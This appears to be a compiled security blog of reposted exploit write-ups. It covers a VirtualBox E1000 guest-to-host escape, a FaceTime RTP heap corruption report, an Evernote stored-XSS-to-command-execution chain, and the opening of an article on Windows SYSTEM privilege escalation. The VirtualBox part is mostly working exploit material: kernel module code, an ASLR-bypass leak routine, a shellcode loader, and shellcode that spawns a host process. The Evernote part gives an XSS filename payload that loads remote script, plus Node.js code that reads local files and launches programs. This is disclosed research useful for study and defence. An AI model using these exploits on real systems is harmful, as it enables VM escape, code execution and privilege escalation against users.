e1kFallbackAddSegment function will be called with size 0x4188. Without the vulnerability it’s impossible to call e1kFallbackAddSegment with a size greater than 0x4000 because, during the TCP Segmentation Context Update in e1kUpdateTxContext, there is a check that the maximum segment size is less or equal to 0x4000:

DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
...
        uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/
        if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))
        {
            pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/
            ...
        }

Buffer Overflow

We have called e1kFallbackAddSegment with size 0x4188. How this can be abused? There are at least two possibilities I found. Firstly, data will be read from the guest into a heap buffer:

static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Here pThis->aTxPacketFallback is the buffer of size 0x3FA0 and u16Len is 0x4188 — an obvious overflow that can lead, for example, to a function pointers overwrite.

Secondly, if we dig deeper we found that e1kFallbackAddSegment calls e1kTransmitFrame that can, with a certain configuration of E1000 registers, call e1kHandleRxPacket function. This function allocates a stack buffer of size 0x4000 and then copies data of a specified length (0x4188 in our case) to the buffer without any check:

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
    uint8_t   rxPacket[E1K_MAX_RX_PKT_SIZE];
    ...
    if (status.fVP)
    {
        ...
    }
    else
        memcpy(rxPacket, pvBuf, cb);

As you see, we turned an integer underflow to a classical stack buffer overflow. The two overflows above — heap and stack ones — are used in the exploit.

Exploit

The exploit is Linux kernel module (LKM) to load in a guest OS. The Windows case would require a driver differing from the LKM just by an initialization wrapper and kernel API calls.

Elevated privileges are required to load a driver in both OSs. It’s common and isn’t considered an insurmountable obstacle. Look at Pwn2Own contest where researcher use exploit chains: a browser opened a malicious website in the guest OS is exploited, a browser sandbox escape is made to gain full ring 3 access, an operating system vulnerability is exploited to pave a way to ring 0 from where there are anything you need to attack a hypervisor from the guest OS. The most powerful hypervisor vulnerabilities are for sure those that can be exploited from guest ring 3. There in VirtualBox is also such code that is reachable without guest root privileges, and it’s mostly not audited yet.

The exploit is 100% reliable. It means it either works always or never because of mismatched binaries or other, more subtle reasons I didn’t account. It works at least on Ubuntu 16.04 and 18.04 x86_64 guests with default configuration.

Exploitation Algorithm

  1. An attacker unloads e1000.ko loaded by default in Linux guests and loads the exploit’s LKM.
  2. The LKM initializes E1000 according to the datasheet. Only the transmit half is initialized since there is no need for the receive half.
  3. Step 1: information leak.
    1. The LKM disables E1000 loopback mode to make stack buffer overflow code unreachable.
    2. The LKM uses the integer underflow vulnerability to make the heap buffer overflow.
    3. The heap buffer overflow allows for use E1000 EEPROM to write two any bytes relative to a heap buffer in 128 KB range. Hence the attacker gains a write primitive.
    4. The LKM uses the write primitive 8 times to write bytes to ACPI (Advanced Configuration and Power Interface) data structure on heap. Bytes are written to an index variable of a heap buffer from which a single byte will be read. Since the buffer size is lesser than maximum index number (255) the attacker can read past the buffer, hence he/she gains a read primitive.
    5. The LKM uses the read primitive 8 times to access ACPI and obtain 8 bytes from the heap. Those bytes are pointer of VBoxDD.so shared library.
    6. The LKM subtracts RVA from the pointer to obtain VBoxDD.so image base.
  4. Step 2: stack buffer overflow.
    1. The LKM enabled E1000 loopback mode to make stack buffer overflow code reachable.
    2. The LKM uses the integer underflow vulnerability to make the heap buffer overflow and the stack buffer overflow. Saved return address (RIP/EIP) is overwritten. The attacker gains control.
    3. ROP chain is executed to execute a shellcode loader.
  5. Step 3: shellcode.
    1. The shellcode loader copies a shellcode from the stack next to itself. The shellcode is executed.
    2. The shellcode does fork and execve syscalls to spawn an arbitrary process on the host side.
    3. The parent process does process continuation.
  6. The attacker unloads the LKM and loads e1000.ko back to allow the guest to use network.

Initialization

The LKM maps physical memory regarding to E1000 MMIO. Physical address and size are predefined by the hypervisor.

void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Then E1000 general purpose registers are configured, Tx Ring memory is allocated, transmit registers are configured.

void e1000_init(void* mmio) {
    // Configure general purpose registers

    configure_CTRL(mmio);

    // Configure TX registers

    g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
    if (!g_tx_ring) {
        printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
        return;
    }

    configure_TDBAL(mmio);
    configure_TDBAH(mmio);
    configure_TDLEN(mmio);
    configure_TCTL(mmio);
}

ASLR Bypass

Write primitive

From the beginning of exploit development I decided not to use primitives found in services disabled by default. This means in the first place the Chromium service (not a browser) that provides for 3D acceleration where more than 40 vulnerabilities are found by researchers in the last year.

The problem was to find an information leak in default VirtualBox subsystems. The obvious thought was that if the integer underflow allows to overflow the heap buffer then we control anything past the buffer. We’ll see that not a single additional vulnerability was required: the integer underflow appeared to be quite powerful to derive read, write, and information leak primitives from it, not saying of the stack buffer overflow.

Let’s examine what exactly is overflowed on the heap.

/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Here aTxPacketFallback is a buffer of size 0x3FA0 which will be overflowed with bytes copied from a data descriptor. Searching for interesting fields after the buffer I came to E1kEEPROM structure which contains another structure with the following fields (src/VBox/Devices/Network/DevE1000.cpp):

/**
 * 93C46-compatible EEPROM device emulation.
 */
struct EEPROM93C46
{
...
    bool m_fWriteEnabled;
    uint8_t Alignment1;
    uint16_t m_u16Word;
    uint16_t m_u16Mask;
    uint16_t m_u16Addr;
    uint32_t m_u32InternalWires;
...
}

How can we abuse them? E1000 implements EEPROM, secondary adaptor memory. The guest OS can access it via E1000 MMIO registers. EEPROM is implemented as a finite automaton with several states and does four actions. We are interested only in «write to memory». This is how it looks (src/VBox/Devices/Network/DevEEPROM.cpp):

EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Here m_u16Addr, m_u16Word, and m_fWriteEnabled are fields of EEPROM93C46 structure we control. We can malform them in a way that

m_au16Data[u32Addr] = u16Value;

statement will write two bytes at arbitrary 16-bit offset from m_au16Data that also residing in the structure. We have found a write primitive.

Read primitive

The next problem was to find data structures on the heap to write arbitrary data into, pursuing the main goal to leak a shared library pointer to get its image base. Hopefully, it was need not to do an unstable heap spray because virtual devices’ main data structures appeared to be allocated from an internal hypervisor heap in the way that the distance between them is always constant, despite that their virtual addresses, of course, are randomized by ASLR.

When a virtual machine is launched the PDM (Pluggable Device and Driver Manager) subsystem allocates PDMDEVINS objects in the hypervisor heap.

int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

I traced that code under GDB using a script and got these results:

[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' <repeats 26 times>
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times>
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times>
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '\000' <repeats 27 times>
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

Note the E1000 device at #0xE position. It can be seen in the second list that the following device is at 0x5700 offset from E1000, the next is at 0x19E0 and so on. We already said that these distances are always the same, and it’s our exploitation opportunity.

Devices following E1000 are ICH IC’97, OHCI, ACPI, VirtualBox GIM. Learning their data structures I figured the way to use the write primitive.

On virtual machine boot up the ACPI device is created (src/VBox/Devices/PC/DevACPI.cpp):

typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

An ACPI port input/output handler is registered for 0x4100-0x410F range. In the case of 0x4107 port we have:

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
    RT_NOREF1(pDevIns);
    ACPIState *pThis = (ACPIState *)pvUser;
...
    switch (off)
    {
...
        case SMBBLKDAT_OFF:
            *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
            pThis->u8SMBusBlkIdx++;
            pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
            break;
...

When the guest OS executes INB(0x4107) instruction to read one byte from the port, the handler takes one bytes from au8SMBusBlkDat[32] array at u8SMBusBlkIdx index and returns it to the guest. And this is how to apply the write primitive: since the distance between virtual device heap blocks are constant, so is the distance from EEPROM93C46.m_au16Data array to ACPIState.u8SMBusBlkIdx. Writing two bytes to ACPIState.u8SMBusBlkIdx we can read arbitrary data in the range of 255 bytes from ACPIState.au8SMBusBlkDat.

There is an obstacle. Having a look to ACPIState structure it can be seen that the array is placed at the end of the structure. The remaining fields are useless to leak. So let’s look what can be found after the structure:

gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

It seems there is a pointer to a string placed at a fixed offset from VBoxDD.so image base. The pointer lies at 0x58 offset at the end of ACPIState. We can read that pointer byte-by-byte using the primitives and finally obtain VBoxDD.so image base. We just hope that data past ACPIState structure is not random on each virtual machine boot. Hopefully, it isn’t; the pointer at 0x58 offset is always there.

Information Leak

Now we combine write and read primitives and exploit them to bypass ASLR. We will overflow the heap overwriting EEPROM93C46 structure, then trigger EEPROM finite automaton to write the index to ACPIState structure, and then execute INB(0x4107) in the guest to access ACPI to read one byte of the pointer. Repeat those 8 times incrementing the index by 1.

uint64_t stage_1_main(void* mmio, void* tx_ring) {
    printk(KERN_INFO PFX"##### Stage 1 #####\n");

    // When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
    // is sent back to the guest and handled right now via e1kHandleRxPacket.
    // When loopback mode is disabled data is sent to a network as usual.
    // We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
    // in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
    // the stack buffer.
    e1000_disable_loopback_mode(mmio);

    uint8_t leaked_bytes[8];
    uint32_t i;
    for (i = 0; i < 8; i++) {
        stage_1_overflow_heap_buffer(mmio, tx_ring, i);
        leaked_bytes[i] = stage_1_leak_byte();

        printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
    }

    uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
    uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
    printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
    printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

    return vboxdd_base;
}

It has been said that in order for the integer underflow not to lead to the stack buffer overflow, certain E1000 registers should been configured. The idea is that the buffer is being overflowed in e1kHandleRxPacket function which is called while handling Tx descriptors in the loopback mode. Indeed, in the loopback mode the guest sends network packets to itself so they are received right after being sent. We disable this mode so e1kHandleRxPacket is unreachable.

DEP Bypass

We have bypassed ASLR. Now the loopback mode can be enabled and the stack buffer overflow can be triggered.

void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

For now, when the last instruction of e1kHandleRxPacket is executed the saved return address is overwritten and control is transferred anywhere the attacker wants. But DEP is still there. It is bypassed in a classical way of building a ROP chain. ROP gadgets allocate executable memory, copy a shellcode loader into and execute it.

Shellcode

The shellcode loader is trivial. It copies the beginning of the overflowing buffer next to it.

use64

start:
    lea rsi, [rsp - 0x4170];
    push rax
    pop rdi
    add rdi, loader_size
    mov rcx, 0x800
    rep movsb
    nop

payload:
    ; Here the shellcode is to be

loader_size = $ - start

The shellcode is executed. Its first part is:

use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

It does fork and execve to create /usr/bin/xterm process. The attacker gains control over the host’s ring 3.

Process Continuation

I believe every exploit should be finished. It means it should not crash an application, though it’s not always possible, of course. We need the virtual machine to continue execution which is achieved by the second part of shellcode.

continue_process_execution:
    ; Restore RBP
    mov rbp, rsp
    add rbp, 0x48

    ; Skip junk
    add rsp, 0x10

    ; Restore the registers that must be preserved according to System V ABI
    pop rbx
    pop r12
    pop r13
    pop r14
    pop r15

    ; Skip junk
    add rsp, 0x8

    ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
    ; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
    ; After:    "E1000-Xmit" -> NULL

    ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
    ; This was unnecessary on my testing machines but to be sure...
    mov rdi, [rbx]
    mov rax, 0x0
    mov rcx, 0xA0
    rep stosb

    ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
    ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
    ; will be corrupted in MMHyperFree
    mov qword [rbx], 0x0

    ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

    ret

When e1kHandleRxPacket is called a callstack is:

#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

We’ll jump right to e1kR3NetworkDown_XmitPending which does nothing more and returns to a hypervisor function.

static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
    PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
    /* Resume suspended transmission */
    STATUS &= ~STATUS_TXOFF;
    e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

The shellcode adds 0x48 to RBP to make it as it should be in e1kR3NetworkDown_XmitPending. Next, the registers RBX, R12, R13, R14, R15 are taken from stack because it’s required by System V ABI to preserve it in a callee function. If they aren’t the hypervisor will crash because of invalid pointers in them.

It could be enough because the virtual machine isn’t crashes anymore and continues execute. But there will an access violation in PDMR3QueueDestroyDevice function when the VM is shutdown. The reason is that when the heap is overflowed an important structure PDMQUEUE is overwritten. Furthermore, it’s overwritten by the last two ROP gadgets i.e. the last 16 bytes. I tried to reduce the ROP chain size and failed, but when I replaced the data manually the hypervisor was still crashing. It meant the obstacle is not as obvious as seemed.

Data structure being overwritten is a linked list. Data to be overwritten is in the last second list element; a next pointer is to be overwritten. The remedy turned out to be simple:

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

Getting rid of the last two elements allows the virtual machine to shut down smoothly.

Demo

https://vimeo.com/299325088

FaceTime: Heap Corruption in RTP Video Processing

( Original text )

There is a memory corruption issue when processing a malformed RTP video stream in FaceTime that leads to a kernel panic due to a corrupted heap cookie or data abort.
This bug can be reached if a user accepts a call from a malicious caller. This issue only affects FaceTime on iOS, it does not crash on a Mac. The issue can be reproduced using the attached sequence of RTP packets. To reproduce the issue: 1) Build video-replay.c in attached zip (gcc -g -dynamiclib -o mylib video-replay.c) and copy to /usr/lib/mylib 2) Use insert_dylib (https://github.com/Tyilo/insert_dylib) to add /usr/lib/mylib to AVConference (insert_dylib —strip-codesig /usr/lib/mylib AVConference) 3) Edit /System/Library/Sandbox/Profiles/com.apple.avconferenced.sb to add /out as allow file read and write 4) Restart the machine 5) Extract the attached out folder in the zip to /out and change the permissions so it’s readable by AVConference 6) Call target, when they pick up, the phone will crash This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

panic-full-2018-08-21-155413.ips
350 KB Download
panic-full-2018-08-21-150443.388.ips
354 KB Download
dataabort2-20180821T235200Z-001.zip
510 KB Download

Evernote For Windows Read Local File and Command Execute Vulnerabilities

( Original text by TongQing Zhu@Knownsec 404 Team )

0x00 TL;DR

  1. A stored cross site scripting(XSS) issue was repaired before version 6.15.
  2. If a stored XSS in your note,the javascript code will executed in lastest Evernote for Windows.It mean I can create a stored XSS in version 6.14 and it will always work.
  3. Present mode was created by node webkit,I can control it by stored XSS.
  4. I successfully read «C:\Windows\win.ini» and open calc.exe at last.

0x01 A Stored XSS In Version 6.14

Thanks @sebao,He told me how he found a stored xss in Evernote. 1. Add a picture to your note. 2. Right click and rename this picture,like: " onclick="alert(1)">.jpg 3. open this note and click this picture,it will alert(1)

2018/09/20, Evernote for Windows 6.15 GA released and fix the issue @sebao reported.

In Evernote for Windows 6.15, <,>," were filtered when insert filename,But the note which named by sebao_xss can also alert(1).It mean they are do nothing when the filename output.I can use store XSS again.

0x02 JS Inject In NodeWebKit

Of course, I don’t think this is a serious security problem.So I decided to find other Vulnerabilities like RCE or local file read.

In version 6.14,I rename this picture as " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg for convenience, It allows me load the js file from remote server. Then I installed Evernote for Windows 6.15.

I try some special api,like: evernote.openAttachment,goog.loadModuleFromUrl,but failed.

After failing many times,I decided to browse all files under path C:\\Program Files(x86)\Evernote\Evernote\.I find Evernote has a NodeWebKit in C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit and Present mode will use it.

Another good news is we can execute Nodejs code by stored XSS under Present mode.

0x03 Read Local File & Command Execute

I try to use require('child_process').exec,but fail: Module name "child_process" has not been loaded yet for context.So I need a new way.

Very Lucky,I found this article: How we exploited a remote code execution vulnerability in math.js

I read local file successfully.

//read local file javascript code
alert("Try to read C:\\\\Windows\\win.ini");
try{
  var buffer = new Buffer(8192);
  process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096); 
  alert(buffer);
}
catch(err){
  alert(err);
}

But in NodeWebKit environment,It don’t have Object and Array(I don’t know why).So I try to use spawn_sync(I get env from window.process.env):

// command executed
try{
  spawn_sync = process.binding('spawn_sync');
  envPairs = [];
  for (var key in window.process.env) {
    envPairs.push(key + '=' + window.process.env[key]);
  }
  args = [];

  const options = {
    file: 'C:\\\\Windows\\system32\\calc.exe',
    args: args,
    envPairs: envPairs,
    stdio: [
      { type: 'pipe', readable: true, writable: false },
      { type: 'pipe', readable: false, writable: true },
      { type: 'pipe', readable: false, writable: true } 
    ]
  };
  spawn_sync.spawn(options);
}
catch(err){
  alert(err);
}

0x04 Use Share Function

Now,I can read my computer’s file and execute calc.exe.I need to prove that this vulnerability can affect other people. I signed up for a new account *****n4n@gmail.com and shared this note with the new account.

*****n4n@gmail.com can receive some message in Work Chat:

if *****n4n@gmail.com decide to open it and use the Present mode,the Nodejs code will executed.

0x05 Report Timeline

2018/09/27: Find Read Local File and Command Execute Vulnerabilities and reported to security@evernote.com
2018/09/27: Evernote Confirm vulnerabilities
2018/10/15: Evernote fix the vulnerabilities in Evernote For Windows 6.16.1 beta and add my name to Hall of Fame
2018/10/19: request CVE ID:CVE-2018-18524
2018/11/05: After Evernote For Windows 6.16.4 released, Public disclosure

 

Alternative methods of becoming SYSTEM

( Original text by XPN )

For many pentesters, Meterpreter’s getsystem command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?

In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.

Meterpreter’s «getsystem»

Most of you will have used the getsystem module in Meterpreter before. For those that haven’t, getsystem is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.

Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.

To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:

  • ImpersonateNamedPipeClient
  • ImpersonateLoggedOnUser
  • ReturnToSelf
  • LogonUser
  • OpenProcessToken

Of these, the ImpersonateNamedPipeClient API call is key to the getsystem module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to «victim» connects and writes to a named pipe belonging to «attacker», the attacker can call ImpersonateNamedPipeClient to retrieve an impersonation token belonging to «victim», and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the SeImpersonatePrivilege privilege.

This privilege is by default only available to a number of high privileged users:

SeImpersonatePrivilege

This does however mean that a local Administrator account can use ImpersonateNamedPipeClient, which is exactly how getsystem works:

  1. getsystem creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.
  2. getsystem spawns a process, which creates a named pipe and awaits a connection from the service.
  3. The Windows service is started, causing a connection to be made to the named pipe.
  4. The process receives the connection, and calls ImpersonateNamedPipeClient, resulting in an impersonation token being created for the SYSTEM user.

All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.

To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.

To see how this works when executed, a demo can be found below:

Now that we have an idea just how getsystem works, let’s look at a few alternative methods which can allow you to grab SYSTEM.

MSIExec method

For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:

Adam Chester@_xpn_

There is something nice about embedding a Powershell one-liner in a .MSI, nice alternative way to execute as SYSTEM 🙂

This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.

It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.

The WIX Framework is made up of several tools, but the two that we will focus on are:

  • candle.exe — Takes a .WIX XML file and outputs a .WIXOBJ
  • light.exe — Takes a .WIXOBJ and creates a .MSI

